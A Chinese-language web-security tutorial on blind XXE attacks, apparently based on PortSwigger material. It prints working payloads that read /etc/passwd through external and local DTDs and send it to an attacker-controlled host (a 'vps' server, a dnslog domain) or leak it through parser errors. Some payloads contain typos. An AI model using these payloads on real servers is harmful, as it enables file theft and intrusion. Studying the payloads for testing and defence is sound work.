0x01 blind XXE漏洞

0x02 使用out-of-band(OAST)技术检测Blind XXE漏洞

2.1 使用参数实体进行绕过

2.2 利用out-of-band获取敏感信息

0x03 利用XML解析错误信息获取敏感信息

0x04 利用本地DTD文件获取敏感信息


0x01 blind XXE漏洞

XML外部实体盲注是指应用程序存在XXE漏洞,但是在响应包中无法得到任何有关外部实体的信息。这就意味着传统的XXE SSRF攻击是无法完成的,所以正常情况下Blind XXE漏洞更难利用。

Blind XXE 常用的两种利用方式

触发out-of-band网络交互,有时会在交互数据中泄露敏感数据。

触发XML 解析错误,通过错误消息获取到敏感数据。

0x02 使用out-of-bandOAST)技术检测Blind XXE漏洞

可以使用我们自己可控的服务器或应用程序通过out-of-band网络交互技术来检测Blind XXE漏洞。例如:

<!DOCTYPE a [<IENTITY xxe SYSTEM "http://c7p3st.dnslog.cn">]><a>&xxe;</a>

2.1 使用参数实体进行绕过

在有些情况下,由于应用程序对输入进行验证等措施,常规的实体注入可能会被阻拦,无法正常获取到信息,此时我们可以通过使用参数实体进行绕过。

​<!DOCTYPE a  [<!ENTITY % xxe SYSTEM "http://c7p3st.dnslog.cn"> %xxe; ]>

2.2 利用out-of-band获取敏感信息

使用out-of-band技术只能证明应用系统存在Blind XXE漏洞,但攻击者终究是为了利用漏洞获取敏感信息。此时可以通过攻击者可控的服务器或者应用程序建立恶意的DTD文件,再在目标服务器解析加载恶意DTD,从而获取敏感信息。

# 构造请求包正常:<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://vps/xxe.dtd"> %xxe;]># 构造恶意xxe.dtd:<!ENTITY % file SYSTEM "file://etc/passwd"><!ENTITY % extfile SYSTEM "<!ENTITY % exfiltrate SYSTEM 'http://dnslog.cn/?x=%file;'>">%extfile;%exfiltarte;
​

此类技术对于/etc/passwd等文件不太友好,原因在于XML解析器是使用API获取带有恶意DTD文件的URL的,API只能验证出现在URL中的字符,这时使用FTP协议替换HTTP协议会好很多,但有时它可能不太支持换行符等字符,所以这种情况下使用/etc/host来验证漏洞比较合适一点。

0x03 利用XML解析错误信息获取敏感信息

如果应用系统在XML的返回信息中包含错误信息,那么我们可以通过触发XML解析错误,从而获取到应用程序敏感信息。

可以通过以下方式来触发XML解析错误信息,并且错误信息中包含/etc/passwd等应用程序敏感信息。

# 构造xxe.dtd文件<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY  % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;# 构造恶意请求<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://vps/xxe.dtd"> %xxe; ]>
​

0x04 利用本地DTD文件获取敏感信息

前面几种方式适合外部DTD,对于只能使用DOCTYPE内元素的内部DTD来说是没有作用的,主要原因为那些方式在参数实体中定义了另外的参数实体,根据XML规范,这在外部DTD中是允许的,但在内部DTD中是不允许的。这时候就要思考当我们的out-of-band带外技术被阻拦时,我们无法通过out-of-band获取敏感数据,也无法加载远程服务器中的DTD文件,该如何利用Blind XXE漏洞。

此时,利用解析错误获取敏感信息还是可能的,这取决于XML语言的漏洞:如果一个DTD混合使用内部DTD和外部DTD,内部DTD可以进行重新定义由外部DTD引用的实体,这样就放宽了在另一个参数实体的定义中使用XML参数实体的限制。

这意味着攻击者可以在内部DTD中使用基于错误的XXE技术,前提是他们使用的XML参数实体正在重新定义在外部DTD中声明的实体。当然,如果带外连接被阻止,则无法从远程位置加载外部DTD。相反,它需要是应用服务器本地的外部DTD文件。本质上,攻击涉及调用本地文件系统上碰巧存在的DTD文件,并重新调整其用途,以触发包含敏感数据的解析错误的方式重新定义现有实体。

例如:在应用程序中存在/usr/local/app/schema.dtd,且这个DTD文件定义了一个custom_entity的实体。攻击者可以通过以下方式触发XML解析错误,从而获取到敏感数据。

<!DOCTYPE foo [<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"><!ENTITY % custom_entity '<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;'>%local_dtd;]>
​

如何寻找本地的DTD文件

这种利用方式最重要的还是去应用程序服务器中寻找可以利用的DTD文件。这其实是特别简单的:当应用程序因为XML解析错误返回错误信息时,我们可以通过从内部DTD中加载他们来枚举出本机的DTD文件。

例如:使用GNOME环境的Linux通常会存在/usr/share/yelp/dtd/docbookx.dtd文件,可以通过以下XXE负载来判断此文件是否存在。

<!DOCTYPE XXE [<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">%local_dtd;]>

再找到DTD文件后,可以通过网上去寻找这个DTD文件,并且分析是否可以重定义参数进行利用。

参考资料:

What is a blind XXE attack? Tutorial & Examples | Web Security Academy

Blind XXE漏洞详解相关推荐

  1. XXE漏洞详解(三)——XXE漏洞实际运用

    今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE漏洞详解(三)--XXE漏洞实际运用. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! ...

  2. XXE漏洞详解 一文了解XXE漏洞

    前言 本篇总结归纳XXE漏洞 1.什么是XXE 普通的XML注入 XML外部实体(XML External Entity, XXE) Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以 ...

  3. XXE漏洞详解与利用

    XXE:XML 外部实体注入 XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件.执行系统命令.内网探测与攻击等危害的一 ...

  4. OWASP-TOP10漏洞详解以及防护方案

    OWASP TOP 10 漏洞详解以及防护方案 OWASP介绍 官网:http://www.owasp.org.cn/ OWASP TOP10 指出了 WEB 应用面临最大风险的 10 类问题,是目前 ...

  5. OWASP top 10漏洞详解

    一.写在前边   临近毕业,最近在找实习单位,看到好多招聘要求熟悉owasp top 10 安全漏洞,于是在经过一番查资料,终于有了大致的了解,为了加深印象,特意通过博客记录一下,也希望为有同样需求的 ...

  6. android WebView详解,常见漏洞详解和安全源码(下)

    上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑.  上篇:android WebView详解,常见漏洞详解和安全源码(上)  转载请注明出处:http ...

  7. android WebView详解,常见漏洞详解和安全源码(上)

    这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析.  由于博客内容长度,这次将分为上下两篇,上篇详解 WebView ...

  8. 《密码爆破漏洞详解》——黑客必修的入门操作( 建议收藏 )

    隔壁老张: "狗剩啊, 隔壁xx村的王姐家的女娃好漂亮, 我想盗她qq啊, 你帮我把" 狗剩: "我不会呀" 村里大妈: "那个狗剩啊, 盗个qq号都 ...

  9. Pikachu靶场之文件包含漏洞详解

    Pikachu靶场之文件包含漏洞详解 前言 文件包含漏洞简述 1.漏洞描述 2.漏洞原因 3.漏洞危害 4.如何防御 第一关 File Inclusion(local) 1.尝试读取"隐藏& ...

最新文章

  1. 【顶会资源汇总】2020最新视觉描述生成文献大列表
  2. PE Header中的FIleHeader(文件头)
  3. 实现费用管理 mysql_电信资费管理系统的设计与实现(NetBeans,MySQL)
  4. 加强IIS安全机制 建立高安全性能Web服务器
  5. 数据分析如何从1进阶到10?
  6. .net api 和java平台对接技术总结
  7. Python新闻网站项目-7.Django内容后台管理系统管理开发
  8. 达梦共享存储集群DMDSC-2节点部署手册
  9. mac版 SimHei添加教程
  10. C语言数组总结与反思
  11. 14.Vue cli脚手架安装
  12. EXCEL中进行经纬度坐标排重
  13. 使用python修复文件乱码
  14. Python批量删除文件名中带小括号数字(1)(2)(3)...
  15. 【评测】粪便基因组 DNA 提取试剂盒(柱膜法)使用报告
  16. 智能硬件产品经理需要具备的知识
  17. 草图大师免费模型分享2022.03.10之草图溜溜
  18. 弹性伸缩定时任务支持Cron表达式 1
  19. 华文慕课北大操作系统陈向群第五章课后习题解析
  20. java里面用的什么字符集,以及汉字在其中占用的字节数

热门文章

  1. 双卡双待的手机会有两个IMEI号
  2. 核心单词Word List 44
  3. storm 实战及实例讲解(二)
  4. Linux小技巧scp命令
  5. 二维码图片怎么转链接?怎么分解二维码成链接网址?
  6. BAT面试常的问题和最佳答案
  7. java基础学习资料(一)
  8. 判断四个点是否能构成正方形
  9. vue 播放实时语音
  10. Codeforces 444C DZY Loves Colors 线段树区间更新